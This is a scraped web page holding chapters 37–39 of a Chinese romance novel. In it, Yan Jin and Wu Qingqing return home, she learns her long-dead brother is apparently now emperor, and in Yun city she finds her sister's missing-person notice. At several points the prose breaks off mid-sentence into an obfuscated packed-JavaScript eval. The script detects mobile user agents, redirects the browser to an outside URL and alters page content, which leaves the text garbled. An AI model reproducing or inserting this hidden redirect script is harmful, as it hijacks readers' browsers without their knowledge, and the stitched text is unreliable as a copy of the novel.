他们看着两人只背着两个不大的包袱,带着一匹马,身上穿着的衣服鹑衣百结,人也高挑细瘦,一个个都不知道想了些什么,将人往自己家中拉扯。 乌轻轻有些无所适从地被人群簇拥,这是近六年时间以来,他第一次面对如此景象。 燕谨视线扫过,虽然有些变化,但还认得出来这些都是原来湾水村的人。 她将乌轻轻拉到身旁,手臂有力地在人群中分出一条路来:“感谢各位乡邻的好意,只是我与轻轻久历风尘,还是先回家中收拾梳洗一下再去拜见。” 说罢不等人反应,她动作极快地拉着乌轻轻、牵着马往家的方向走。 留下惊讶且热心的人群还站在原地议论这件事。 到家之后,所见的景象也与之前大不相同。 原本破旧歪斜的木门不知被谁修好了,门上还挂着一个锁,院墙也整洁干净,看起来不像是主人已经离去了快六年之久。 乌轻轻走到院门旁,伸手抚摸上面的印迹,眼眶有些酸涩。 娘、姐姐、轻轻的家。 当初刻字的时候,他与姐姐都没长成。现在看,字迹只到他的胸口。 燕谨看了他一会儿,又抬头去看院墙。 直接翻进去还是将锁撬了更好? 这锁不知是谁上的,她没有钥匙。 犹豫间,不远处传来一阵脚步声。 燕谨以为还是看热闹的村民,没有理会,直到听见人声。 “……小谨,轻轻,我的孩儿,你们总算回来了……” 一个苍哑的男声颤颤巍巍地在身后响起,由远及近。 燕谨与乌轻轻同时回头看过去。 随即怔住。 乌宝金瞧着已经很老很老了。他佝偻着背,行走间不太稳当,一个手拄着拐杖,另外还有个年轻后生搀着他。 他布满沟壑斑点的脸上挂着两行热泪,浑浊的眼球已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他拄着拐坐在凳子上看他们吃饭,脸上满是慈爱,“你家分的那些东西我都好好收起来了,等会让虎子给你们送过去,如今回家了便都好了,往后都是好日子。” 燕谨咽下嘴里的饭,问出了自进村以来就困惑的那个问题:“爷,为何现在村里人都回来了?是不是齐王已经离开这里了?” “你们竟还不知道吗?”乌宝金眼底闪过惊讶,“自年初琰王统一天下称帝之后……” 燕谨蓦然站起身,双手几乎将手中的碗捏碎,心跳声瞬间在脑内轰鸣,她几乎有些目眩。 “琰王登基?!” 乌轻轻被她突如其来的动作吓得浑身一震,嘴里的饭都忘记嚼,呆滞地看着燕谨猝然睁大的眼眸。 椅子上的乌宝金拐杖从手中掉落,他顾不得捡,赶忙说:“小谨,你这,怎么了,你们还不知此事吗?” 燕谨僵硬地摇头。 她不知琰王在年初统一天下之后称帝,但她知道另一件事。 琰王燕诀,早在十几年前便死在了燕国国都被破的那个晚上。 他是燕谨一母同胞的哥哥,死的时候只有十七岁。 37. 决定 当着乌宝金的面,燕谨再三忍耐,将那股情绪压了下去。 这件事离他们太远,没必要露出更多让人察觉出来。 被燕谨含糊过去之后,乌宝金没有多想。 是啊,谁能想到前燕国的六公主会是湾水村里一个被乌霜雪捡回来的孩子。 “现下你们回来了便安心在村子里住下,”乌宝金神色祥和,看着烛火映衬下的二人满怀欣慰,“休息些时日,我让虎子带你们去云城将户籍的事办了。” 燕谨应下。 乌宝金又去看一直不太作声的乌轻轻,满怀笑意地问他:“轻轻,怎的不说话?许久不见爷爷,已经是大孩子还认生起来了?” 乌轻轻捧着饭碗,神情有些不自然,他干巴巴地提起唇角扯了个笑出来:“爷爷,只是好久没见您,心中激动,反而不知道该说什么了。” 昏暗的烛火映照下,他脸上的勉强被燕谨看的一清二楚,已经很老的乌宝金却看不出来。 他哈哈一笑,让乌轻轻与燕谨以后常来走动,就像以前乌霜雪还在时那样。 吃过饭,两人拜别乌宝金,肩并肩朝着家的方向走去。 乌轻轻左左顾右盼,像做贼似的谨防周围有人。确认无人之后,他舔了舔干燥的唇,伸手牵住了燕谨。 燕谨任由他牵住自己,低声去问:“感觉怎么样?与人交流时可会难以接受?” 拉住燕谨之后,乌轻轻心中一直提着的那口气才放松下来。 现在天色已经很晚了,村子里非常安静,四周漆黑一片,恍若在青山上一般。 他连步伐都松快起来,“有一点,不过我觉得过两天就好啦。” “不必勉强,可以慢慢适应。” 乌轻轻将头歪歪靠在她肩上,半个身体的力放在燕谨身上,带着两分对自己的不满念叨:“不勉强,我不喜欢这样,我得快点适应才好。” 燕谨“嗯”了一声,步伐稳健,任由乌轻轻依着自己。 秋风习习,凉意渐渐涌上来,乌轻轻不由自主地靠得更紧,几乎是半抱着燕谨行走。 他们在青山上独处了五年,早已没有了任何相处时的底线,对对方的任何举动都接受程度奇高。 燕谨的脊背挺直,好叫乌轻轻靠得更舒服些。 “方才提到琰王登基,你为何失态?” 冷不丁的,这句话传入燕谨的耳中。 方才在席间的失态瞒得过乌宝金,但瞒不过乌轻轻。只是那时她惊闻此消息一时控制不住,现在做足了心理准备,倒还能冷静思考。 她没有答话。 乌轻轻本是想到此事随口一问,但燕谨的不言语却让他警惕起来。他抬起头,眼睛看着燕谨的侧颜,又一次问到:“为何失态?你怎么不答我。” 神色冷淡的女人镇定自若,似乎只是思考了几息,并没有其他隐瞒。 “方才在想其他事,一时没有注意,”她一笔带过先前的停顿,“事发突然罢了,去年下山时我还未探听到琰王已经快要登基了。” 乌轻轻的目光在她脸上反复扫过,视线中充满了怀疑。 “没发现便没发现,何至于让你在宝金爷爷家失态至此?” 燕谨有些无奈,她知道乌轻轻没那么容易糊弄过去。 但她还没考虑好这件事要不要告诉乌轻轻。 “轻轻,下次我再告诉你,好么?”她停下脚步,转过身来面对乌轻轻,面上带着一丝无可奈何的笑意。 乌轻轻提溜着眼睛看着她好一会,冷哼一声,扭过头朝着家里走,将燕谨晾在原地。 昏暗的月光下,身形高挑的女子看着少年远去的背影驻足了半晌,才跟上去。 到家之后,两人草草将晚上睡觉的屋子收拾出来便准备洗漱休息。 剩下的俱等明日天光之后再说。 中途还闹了一场官司。原先在山上,两人睡在同一间房,只是分成了触手可及的两张床。燕谨自然默认回到老宅之后他们各睡各的房间,还像以前一样。 直到她准备吹熄蜡烛时,乌轻轻抱着自己的枕头被褥趿拉着鞋子过来。 她难得面上愕然,伸手拦住了乌轻轻极其自然想要进门的身体:“轻轻,你睡在自己房间即可。” 乌轻轻在马上骑了一日,疲累极了,此时抱着被褥已经是昏昏欲睡。听见燕谨的话,他揉了揉眼睛便准备往回走,嘴中还在问:“我的炕小,等会把你挤下去怎么办……” 走了好几步,却没听见燕谨的回答,他才觉出不对。 噔噔噔地跑过去,他双眼瞪大,一脸不可置信的表情:“你要与我分房睡觉?” 燕谨被他难以置信的反问语气噎得僵硬一瞬,几息之后才平静开口:“男女有别,你我自然……” 话没说完,她自己也感觉不太对。 他们之间就算有别也早在青山上的五年多时间里被消磨得一干二净。 乌轻轻还在门口瞪她,抱着被褥的手已经用力到捏起青筋,仿佛她口中再说出半句关于分房的话便要爆炸。 “你进来吧。” 算了,明日睡醒再来考虑今日这些事。 燕谨伸手摁了摁抽痛的额角,看着乌轻轻爬到里间躺好之后吹熄了蜡烛,躺到外侧的位置闭上了眼睛。 身畔有着另一个人的呼吸声,对于燕谨与乌轻轻来说这早已成为安眠必不可少的一部分。 他们睡得很快,睡得很熟。 第二日,燕谨醒来时天光已经大亮了。 昨日奔波的疲累都在那样深沉的安眠中散去,因为睡得太久,她脑子里还有点懵。 燕谨下意识侧头去看睡在旁边的乌轻轻,他还睡得很香,脸颊红润,显然一时半会还起不来。 坐在炕上缓了一会儿,她悄声下床,免得将乌轻轻吵醒。 已经快巳时了,燕谨洗漱好便在院子里锻炼。 正是神清目明之时,她可以仔细想一想昨日突如其来的两件事。 十一年前燕国国破被破之时,燕诀确实已经死了。 虽然不是燕谨亲眼所见,但母后急匆匆带着人进她的宫殿抱她时,满身是血,指尖颤抖。 当时宫中已经是喊杀声震天,宫侍们躲得躲逃得逃,燕谨穿好衣服听从母后的吩咐,在自己宫中静候。 她一向端庄持重的母后发丝散落,神情悲怆;长姐跟在后头,眼中含泪,悲伤满溢。 十岁的燕谨懵然间被抱上马车,母后往日馨香的怀抱中沾上了血的腥气,她们逃得匆忙。 燕谨那时问了一句,父皇与哥哥呢? 她忘了是谁回她,那人说,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乌轻轻看了半晌,忽然起身爬起来将她手中的干布抢过来:“怎么用那么大劲,头发都得叫你扯下来了。” 他自觉接过了这份差事,燕谨垂眸看着指尖,发梢轻柔的动作被一下下传递进她的心间。 “轻轻,过两天我要去云城一趟。” 乌轻轻“哦”了一声,不甚在意,手上动作不停。 “一日回不来。”燕谨又说。 去镇上时,她总是一日便来回,从不会让乌轻轻独自在家。 “好吧……”乌轻轻的语气有些低落,随即开始讨价还价,“我自己睡一晚也不妨事,如果云城有好玩的,你得给我带回来。” “两日也回不来。”燕谨摁住乌轻轻的手,将他手上的东西拿下来,侧过身看着他,“也许要去数月之久。” 乌轻轻的表情在燕谨的注视下一点点崩溃,他紧攥着拳头,想也不想地说:“那就带我一起去。” 就该这样,这才是轻轻。 平静无波的水面上泛起一丝涟漪,燕谨终于松口,不再逗他。 “自然会带你一起去。” 38. 进城 出发前,他们又去祭拜了一次乌霜雪。 乌轻轻抱着碑絮絮叨叨说了许久的话,燕谨垂眸看着,心中有些怅然。 她仍然不知自己的决定是对是错,国都形势不明,此番过去生死难料。 “……做了新衣裳,我们要去云城,也许有段时间不能回来看你,但是我在外边也会想娘的……” 乌轻轻这些时日似乎是想把错过的那几年都补回来,每天都来跟乌霜雪说些自己在山上的生活。 即将离开数月之久,他要说的话变得更多了。 “……小谨,你来呀,怎么就我在说。”乌轻轻说到口干舌燥,扭头招呼燕谨。待燕谨走过来,伸手扯过她腰间的水囊咕咚咕咚灌下肚。 懒鬼,装模作样地喊她,只是不想起身走过来拿水罢了。燕谨看破不说破,蹲下身指尖抚摸着乌霜雪冰凉的墓碑。 她的碑在村子后头的小山上,周围是乌霜雪的祖辈。这样也好,像是还在自己家中,被家人环绕。 先前燕谨过来祭拜时没怎么清理过,任由杂草疯长,有时不做改变才是最大的保护,她不想让这点特殊破坏乌霜雪的安宁。 这次回到湾水村之后再来祭拜,乌霜雪的坟茔整洁许多,连石缝中的泥沙都被人擦得一干二净。 村里人都感念乌霜雪那一天的挺身而出。 风吹过,一片树叶飘然落在碑上。 由生至死,我会永远和轻轻在一起。 燕谨伸手拿下那片叶子,在心中默念这句话。这是她当初对乌霜雪的承诺,此刻所有犹疑俱消散。 “好了,去跟宝金爷爷说一声,咱们便准备启程了。” 她起身,将乌轻轻拉起来。 乌轻轻带着一丝对乌霜雪的不舍跟随燕谨离开此地,消停了不到半刻,开始没话找话:“你怎么什么也不说?” “我在心中说过了。” “怎么不说出来?不想讲给我听吗?” “嗯,不想告诉你。” “好哇你,”乌轻轻佯怒,扑上她的肩装作要咬她,“你怎么跟我还有秘密?” 燕谨波澜不惊,甚至还托了他的手臂一下给他借力,“今日不一定能赶到云城,晚上睡在荒郊野地里头,你省些力气。” 又转移话题,乌轻轻有些恼她。燕谨总是把他当孩子哄,他早就是大人了! 哼了一声,他放开燕谨,自己抱臂走在一旁。 燕谨觉得有些好笑,乌轻轻天生一张笑脸,为了凸显出自己很生气,硬要把嘴角往下撇,眉头也紧皱在一起,生怕别人不知道他不高兴似的。 她装作看不出来,只朝着乌宝金家走。 乌轻轻气了一会儿,但燕谨一直不理他,这气也就胡乱散了,转头又没心没肺地过去问燕谨要不要带被褥,晚上睡觉冷不冷。 燕谨眼中闪过一丝极淡的笑意。被乌轻轻一闹,她胸腔中堆积了许多天的沉郁消散片刻,那缕惝恍短暂地离开了她。 告别乌宝金之后,两人回家拿上行装出发。 特地嘱咐乌宝金不要来送,他本人是没来,却嘱咐孙子过来给他们送干粮。 拜别虎子哥后,他们踏上了前往云城的路,再一次离开了湾水村。 乌轻轻眼圈有点红,将头埋在燕谨肩上。 “咱们什么时候回来?” 燕谨骑得不快,飞云已经十五岁了,是一匹老马,她准备到云城之后寻个地方将飞云安养起来。 “也许年底便回来了。” “那咱们什么时候回山上?”乌轻轻又问,他的声音有些哽咽,“我砍的柴都还没用完呢。” 他又在害怕了,燕谨知道。年少时流离转徙多次,似乎每一次变化都会带来不好的结果,他害怕变化。 “轻轻,云城也有咱们的家。” 虽然只住了短短几天,乌轻轻与乌霜雪也只不过在那安家了大半年,但那仍然是他们的家。 只是……现在不知还在不在了。 乌轻轻确实忘了这茬,他大松一口气,心情由阴转晴。 “怎么不早告诉我……坏家伙。” 又在撒娇,还将眼泪擦在自己衣服上,燕谨感受得一清二楚。她没有解释,因为解释是行不通的,她将腰间的水囊接下来递给乌轻轻,让人补点水。 燕谨已经十多年没有来过云城了,对路上的时间并没有太大的概念。中午停下来休息了一会,下午继续赶路,没想到天色将沉时便看见了城门的影子。 巍峨的城门在不远处伫立,天色昏暗的原因,她看不太清城门处的具体情况。 飞云慢慢降下速度,后来几乎是在路上行走。 在黄土路上驰骋了一日,人与马都有些狼狈,土腥味与灰尘的涩气涌入鼻腔,闷得人鼻尖发痒。 云城已经到了。 燕谨踌躇片刻,打马上前。 城门处的兵士很是警惕,见着不远处过来的马匹,提起所有注意力,将人拦下。 “什么人?下马来。” 燕谨喊醒乌轻轻,两人轻巧地从马上下来。 “祖籍湾水村人,多年前曾在云城安家,特地回来看看。” 燕谨将两人的户籍文书递过去。 守城的兵士警惕不减,伸手接过,却在薄薄的纸面下摸到了一个鼓囊的荷包。 他斜睨了燕谨一眼,见燕谨神态自若不卑不亢,没有答话,借着同伴的火折子仔细看起他们俩的文书。 乌轻轻有点紧张,他紧紧靠着燕谨,一眼不错地盯着兵士的动作。 没让他们等太久,确认好身份之后,兵士将户籍文书递还过去,荷包还捏在手里把玩。 “进吧。” 燕谨松了口气,将文书揣进怀里,目不斜视准备进城。 “等会,”擦身而过时,那兵士又喊住她,“荷包拿回去。” 说着往她怀里一扔。 “现在早不是之前的年景了,用不着给银子。” 燕谨呼吸一轻,难得有些愕然。 那兵士看他们俩也知道,必定是在偏远乡下躲了许久才出来,和善地笑了一声:“进吧,你家宅子应当还在,明日去县衙登记拿钥匙即可。” 他们离开了这么久,云城之前又被齐王占过,燕谨做好了宅子拿不回来的准备,没想到听见这个消息。 燕谨携乌轻轻真诚向这位守城的兵士道谢,穿过城门,到了云城内部。 已是酉时了,天色昏暗,但云城街上还有着不少人,街边的店家也开始点灯,大声吆喝着。 青石街道踏上去十分安稳,燕谨视线在街边撑起的棚子下一一扫过,眼神中有些新鲜。 她也多时未曾见到如此场景了。 两人在城中踱步慢行,一副土包子进城的模样,没走两步便有人迎上来。 那女子身形矮胖,脸上挂着笑,是个很有福气的面相。没等燕谨和乌轻轻反应过来,热情地拉着两人朝一个方向走,“娘子与郎君是刚来云城吧?可有落脚的地方了?我家客栈就在不远,房间敞亮干净,二位随我去看看吧?” 稀里糊涂之间,两个人就站在她家客栈门口了。 乌轻轻一脸懵逼地去看燕谨,“小谨,那,咱们住吗?” 燕谨沉默了,这些精明老练的妇人压根不怕她的冷脸,管她三七二十一,招揽生意要紧。 “……住吧。” 来都来了。这客栈看着也还行。 那妇人眉开眼笑地招来一个伙计将飞云牵到后院去,她自己则带着两位客人进门招呼。 燕谨定了一间上房,又叫了热水与吃食,没让人帮忙,两人自己提着包袱上楼。 房间很方正,地面铺着青石砖,右侧靠墙的位置是一张拔步床,床尾叠着两床薄被;不远处是一个榆木衣柜,柜顶有个靛蓝色的瓷瓶;中间是个半人高的方桌,配两把圆凳;再远些便是一个屏风,后头放着浴桶。 客栈的位置还算不错,左侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218770|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙面上有个窗户,乌轻轻放下东西去推开窗。 楼下是热闹的街道,人群的走动声、商贩的吆喝声清晰传入屋子里。 “这里好热闹,我都有些不习惯了。”他趴在窗沿,眼睛亮亮地去看楼下街道。 “等会可要去街上逛逛?” 乌轻轻有些心动,更有些迟疑,思考了片刻之后拒绝道:“还是明日再逛吧,今日太累了,我想休息一下。” 燕谨没有多劝,骑了一日马,她也有些累到了。 吃食与热水送来的很快,两人吃完之后原本要去洗漱休息,但都坐在桌前不动,神情有些不自在。 订房时没注意,浴桶在房内…… “那个……”乌轻轻坐在凳子上左摇右晃,眼神闪躲,“我下去转转,你先洗漱吧……” 燕谨拧着眉毛拦下他,“你一人出去转?” 真笨,想给她找个台阶下还把我拦住!乌轻轻在心里小声骂她,原本还有些不好意思,被她一拦反而理直气壮起来:“那我去洗漱,你去转。” 燕谨指尖在桌子上转圈,思忖半晌后道:“……罢了,就这么着吧,你先去洗漱。” 她起身拉开门,走了出去。 乌轻轻又感觉有点怪怪的,他坐在桌前呆了一会儿没动,没想到燕谨又回来了。 身后还跟着一个伙计。 伙计进门来将桌上的残羹冷炙收走,收拾干净桌子。 燕谨方才在楼下拿了一本书,此刻将油灯移到面前,坐下认真看起来。 完全没有出去的意思。 乌轻轻有些傻眼:“你不是出去转转吗?” “不去,你快去洗漱吧,我累了,也想早点休息。”燕谨头也不抬地回道。 “哦,好吧。” 乌轻轻下意识按照她的命令形式,从包袱里拿了衣服朝屏风后边走去。 他脑子里乱糟糟的,等到中衣都解开之后才反应过来。 我干嘛要听她的??她居然就在房间里呆着吗??乌轻轻有些羞恼,但衣服都脱了一半,进也不是退也不是。 房内很安静,除了灯花炸开的声响,便只有燕谨那边似有若无的翻书声。 乌轻轻纠结了一会儿,捏着自己的领口将脑袋探出去偷偷看燕谨。 燕谨仿佛头顶也长了眼睛似的,下一秒便启唇:“速度放快一点,不要看我。” 乌轻轻唰得一下退回去。 一边胡思乱想一边老老实实的沐浴。 等他脸蛋红扑扑地穿着中衣走出去之后,燕谨又推门出去喊人上来换水。 等水换好了,她神态自若地拿过衣服走到屏风后头。 没有让乌轻轻出去,也没有嘱咐乌轻轻什么。 动作丝滑连贯,没有一点停顿。 乌轻轻坐在床上擦头发,脸颊上的红晕还没有消散。 真奇怪,以前他们洗漱的地方,离得也不远,有时也能听见水声,他从没不好意思过。不过是把墙换成了屏风而已……那屏风还厚实得紧,什么也看不见…… 乌轻轻双眼涣散,神游天外。 等到他意识到自己在想什么的时候,脸上的温度就快能把头发烘干了。 屏风那头传来燕谨穿衣服的声音,他火速扔开干巾,躺在床上紧紧闭上眼。 虽然不知道自己做错了什么,但就是心慌到不敢跟燕谨对视。 燕谨侧首擦着头发出来,见乌轻轻已经躺好了,动作顿了顿,朝着拔步床走过来。 乌轻轻的心跳一声重过一声,燕谨的脚步声越来越近,仿佛踩得不是客栈地面,而是他的心。 更深夜阑,外头的喧闹声安静下来,秋风卷起残叶打在窗棂上,屋内人的心都快要跃出胸腔。 一只潮湿温暖的手靠近他,乌轻轻下意识屏住呼吸。 散落在床榻上的长发被人捻起来摸了一下。 燕谨的声音在下一秒响起—— “擦干再睡。” 39. 寻人 “先去县衙,拿到钥匙后,下午我再陪你去城中逛逛。” 燕谨将飞云的缰绳牵过来,在客栈伙计热情的送别声中回头与乌轻轻商量。 时间已经不早了,街上人声鼎沸,商贩们忙活得热火朝天。两人朝县衙的方向走过去,这还是方才客栈伙计指的路。 乌轻轻低着头,眼睛只顾看脚底下的路,神色倦怠,有些恍惚的模样。 没听见答话,燕谨又看了乌轻轻一眼,见他魂不守舍地都快撞上行人了,忙把他拉过来。 “乌轻轻,走路时不要发呆。” 燕谨的语气很平静,但被那一扯回过神来的乌轻轻已经感受到了她的不虞。 “干嘛凶我?” 这句话完全是条件反射,他对燕谨的每个举动都仿佛有一套自己的应对行为模式,有时不必过多思考便从嘴边溜了出来。 “听见我的话了吗?” “听见了!我才没有发呆,我只是……在想事情。” 他又没听进去,燕谨闭了闭眼,耐心地重复一遍:“我说,我们先去县衙,下午我再陪你去逛。” 乌轻轻哦了一声,再度沉默。 街上人群不少,他们一男一女看着年岁不大,又是生面孔,吸引了不少打量的视线。 年长些的女子面色极为冷肃,背上挎着弓,鼓囊的包袱里面露出一个剑柄,倒是让不少心里有小算盘的人冷静了几分。 燕谨一面提防着周围的人群,一面分出一缕心神去思考着乌轻轻身上的不对劲。 自从昨夜开始就很奇怪。 燕谨本来没有发觉此事,乌轻轻性格跳脱,一时好一时坏的都很正常。但往常他的情绪总是变得很快,昨夜睡前的那点别扭,到了今日早该消散,但没想到过去一夜他还是那副模样。 她瞥了乌轻轻一眼,他仍旧低着头,与她靠得极近,但并没有伸手牵住她。 若不是实在不想接触生人,燕谨看他还有再隔开些距离的意思。 “轻轻,你今日……”燕谨沉吟了片刻,刚要问他,但抬眸一看,县衙已在不远处。 乌轻轻扭头看过来,眼神躲闪:“喊我,喊我何事……” “算了,晚上再说。” 办正事要紧。 进了县衙,听闻来意之后,吏员将他们带到一间屋子里,和善地让他们等一会,先将他们的户籍文书、房契、地契拿过仔细核对起来。 这屋子挺大,来来往往间有不少吏员在里头办事,后面整面墙都摆着书架,密密麻麻的文书籍册摆在上头。 纸张自带的草木香与淡淡的霉味涌上鼻腔,不刺鼻,反而像藏了十几年的旧布料,清淡好闻。 二人安静等待,看着吏员动作。 这事不难办,自琰朝新立,因战乱逃窜到各地的人陆续回来,拿着证明过来办手续的人很多。 燕谨他们文书证明齐全,只是需要变更一下户主罢了。 吏员看他们二人年轻,手下动作不停,随口闲聊起来。“你们来的还算早,若是拖到年底,官府便会将这些无主的屋子统一收回去安置了。” “年底收回?” “哎,先前日子不好过,不知多少人走了就再也回不来。上边给了一年时间,若到年底无人来认领,也不能空放着。” 燕谨若有所思,见这吏员神态放松,心中一动,打探起其他事来。 “官爷,我们二人之前在偏远之地,此番出来才知琰王登基……不知这琰王是?” 那吏员立马遏住她:“住口!陛下岂是能议论之人。” 燕谨没反应,倒是乌轻轻被他吓了一跳,身体往后一缩,半个身子被燕谨挡住。 吏员隐晦地左右打量,见同僚皆在忙碌,没有注意这边,这才继续开口:“我知你是有口无心,只是关于陛下,以后万不可拿在嘴上说。” 燕谨很是诚恳地点头,但一双眼睛仍然看着吏员。那吏员叹了口气,还是怜他们,低声说了一句:“陛下是前燕国的三皇子,嫡传正统,自登基以来不知做了多少利国利民之事。你们不必害怕,往后都是好日子了,安心在城里住下便是。” 这两人年纪不算大,户籍上也无其他亲眷,这十年乱世想必吃了不少苦。 吏员说了这一句自觉对得起良心,不再言语。 燕谨得了想要的答案,没有多问。大约一炷香的时间,吏员便将文书都规整好还给她,又去另一间屋子拿了把钥匙过来。 “这是你家的钥匙,县衙只备了一把,收好。” “谢过官爷。” 燕谨认真道谢,吏员将他们带到县衙侧门,让他们稍候,马匹等会有人会牵过来。 二人便包袱款款地站在侧门等待。 乌轻轻的心提了许久,一时之间连自己心里的那点小别扭也忘了,磨磨蹭蹭地挨到燕谨身边。 “小谨,你怎么又问起琰王了?” 燕谨听见了,但没有答话。 她的视线直直落在县衙侧门旁的青石墙面上,浑身僵硬,指尖紧紧扣在掌心,嘴唇翕张却发不出半点声音。 耳边乌轻轻的声音还在继续响起,不远处街道上的嘈杂声也传过来,都好像被一层无形的屏障隔开,她只听见胸腔中越来越重的心跳声与自己逐渐沉重的呼吸声。 寻走失幼妹启示 吾乃国都人士柳二,今寻吾幼妹小六。走失时六妹年十岁,面白,左耳后有红痣,于燕七十九年在云城附近走失,走失时穿青绿短褂,袖口纹花。 若有寻得者、知其下落者,送附近县衙,谢纹银百两。 若小六见启示,请到附近县衙告知身份,长姐接你归家。 发布人:柳二 时间:燕八十四年六月廿三。 柳是燕谨母家的姓氏,二是长姐的序齿,六是她的序齿。 这是五年前,长姐发布的寻人启示。 一字未提燕谨,但字字皆是燕谨。 燕谨头晕目眩地盯着墙上的纸张,舌尖泛起一股铁锈味,她脑子里一片混乱,无意识间咬破了自己唇上的软肉。 “……小谨,小谨?小谨?!你怎么了?” 乌轻轻焦急的脸庞在眼中放大,他将所有包袱都扔在地上,扑上来扯燕谨的手——她已将掌心都扣破了。 抬头又见燕谨唇缝溢出血迹,乌轻轻急得不知如何是好,伸手想把她的唇掰开。 燕谨耳边的轰鸣声逐渐淡去,她晃了晃身体,脑中思绪渐渐清晰。 她侧过头躲开乌轻轻想要掰她唇瓣的手,搂住他之后才发现眼前人的身体抖得比自己还厉害,哑声道:“没事了轻轻,没事,我没事了,轻轻。” 乌轻轻被吓坏了,他将燕谨抱得死紧,声音颤抖:“你,你怎么了,小谨,你吓坏我了,你流血了……” 方才他见燕谨一直没有理自己,还以为燕谨发现自己的小心思了,胡思乱想了片刻还是忍不住抬头去看她。 这一眼看过去,他浑身血液倒流,一刹那间天崩地裂,不知自己是怎么去唤燕谨的。 燕谨那时站在原地,面色苍白,表情空洞,叫人一眼就能看出她痛不堪忍,仿佛整个人的精气都被抽走了。 燕谨从未这样过,她从来理智从容,冷淡平和,什么事都没法打倒她。 乌轻轻扑上去,想要握她的手,便发现燕谨的掌心已经叫她扣弄至流血了。 “你怎么了,你怎么了,小谨,别这样,我好害怕……不要这样,小谨……” 终究是没忍住,乌轻轻头埋在她脖颈,不消片刻眼泪就打湿了燕谨的衣衫。 燕谨两只手都抚在他背上,嗓音低哑艰涩:“没事了,轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232484|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,别害怕,我没事。” 牵着马的吏员过来时看见的便是这副景象。 他有些不明所以,将缰绳递给燕谨,随口打趣道:“将宅子拿回来喜极而泣了?还有的归置呢,那里边我们可没收拾。” 乌轻轻仍旧兀自哭着,燕谨神色很差,但已经恢复了理智,接过飞云的缰绳道谢。 在吏员准备离去前,她叫住人,问道:“官爷,请问那启示……那启示上写酬谢纹银百两,可是真的?” 吏员笑笑:“做不得假,这启示挂了多年,一旦破损我等还得换新,若你有消息尽管送来,哈哈。” 挂了多年,破损换新。 吏员走后,燕谨拥着乌轻轻在此地又站了许久,巷子口路过不少人,见二人姿态亲密都忍不住打量。 平复好心绪过后,乌轻轻红肿着一双眼,乖乖去提地上的包袱,紧贴着燕谨朝家中走去。 燕谨始终有一只手拉着他,十指相扣,密不可分。 云城的这个宅子位置很不错,没多久便到了。 两人看到宅院门口时都有些恍惚,这个宅子他们住的时间不长,且已经太久太久没有回来了,是以感觉极为陌生。 但再陌生这也是他们的家。 燕谨拿出钥匙,打开门上的锁,牵着乌轻轻推门而进。 一股闷出来的霉味与陈旧腐败的气息扑面而来,带着点土腥气,像把脸埋进了发霉的旧棉絮里,连呼吸时都觉出呛人的腐朽味道。 迈进外院时这股感觉更加浓烈,墙面的砖缝里长满了青苔和瓦松,墙根堆着枯枝败叶;院子右下角的井已经被杂草淹没了,用做井盖的石头上爬满苔藓。 乌轻轻有些愣怔,燕谨脚步不停,已经带着他过了垂花门。 两人脚步顿住,站在院子里,傻看了半晌都不知道怎么动作。 庭院早成了杂草的天下,院子中间的石桌、石凳上积了厚厚一层灰,灰上还沾着枯叶与虫子的尸体;抬头去看几间屋子,满是被侵蚀的荒芜感。屋檐底下挂着一连串的蛛网,门窗破败不堪,歪歪扭扭挂着,被一条破木板勉强钉在上边;透过那些破洞去看屋子里面,桌椅歪斜,东倒西散。 燕谨:…… 乌轻轻:…… 最终他们还是回到了昨夜睡过的那间客栈。 那宅子的情况比之他们当年从云城回湾水村的老宅时还要不如,不如得多。 靠他们俩来收拾,那不知要到何年何月才能归整出来。且之后还有其他安排,没有太多时间浪费在清理宅院上面,燕谨很快就做出了决定。 将乌轻轻与行李都安置好,她便准备出门。 手还未碰到门栓,就被人拉住。 燕谨回头,先前乌轻轻哭得太厉害,以至于眼眶肿胀到有些睁不开了。 但他还是仰脸看着燕谨,巴巴地问:“你要去哪,怎么不带我?” “我去找人清理院子,顺便给你买点消肿的药膏。” 乌轻轻不语,用力把她拉过来,将她的手掌摊开放在膝上,低头去看她的伤口。 燕谨刚想问,便感觉有泪滴在自己的掌心。 那滴泪顺着纹路流向她掌心的伤口,她被刺得蜷缩手指,但始终没有把手收回来。 房中诡异地了安静片刻,乌轻轻的声音响起。 “小谨,你不可以告诉我吗?” “什么?” 乌轻轻的泪流不尽似的,顺着他的下巴蜿蜒而下,一滴一滴砸在燕谨心里。 “我不是小孩了,你有事为何不肯告诉我呢?” 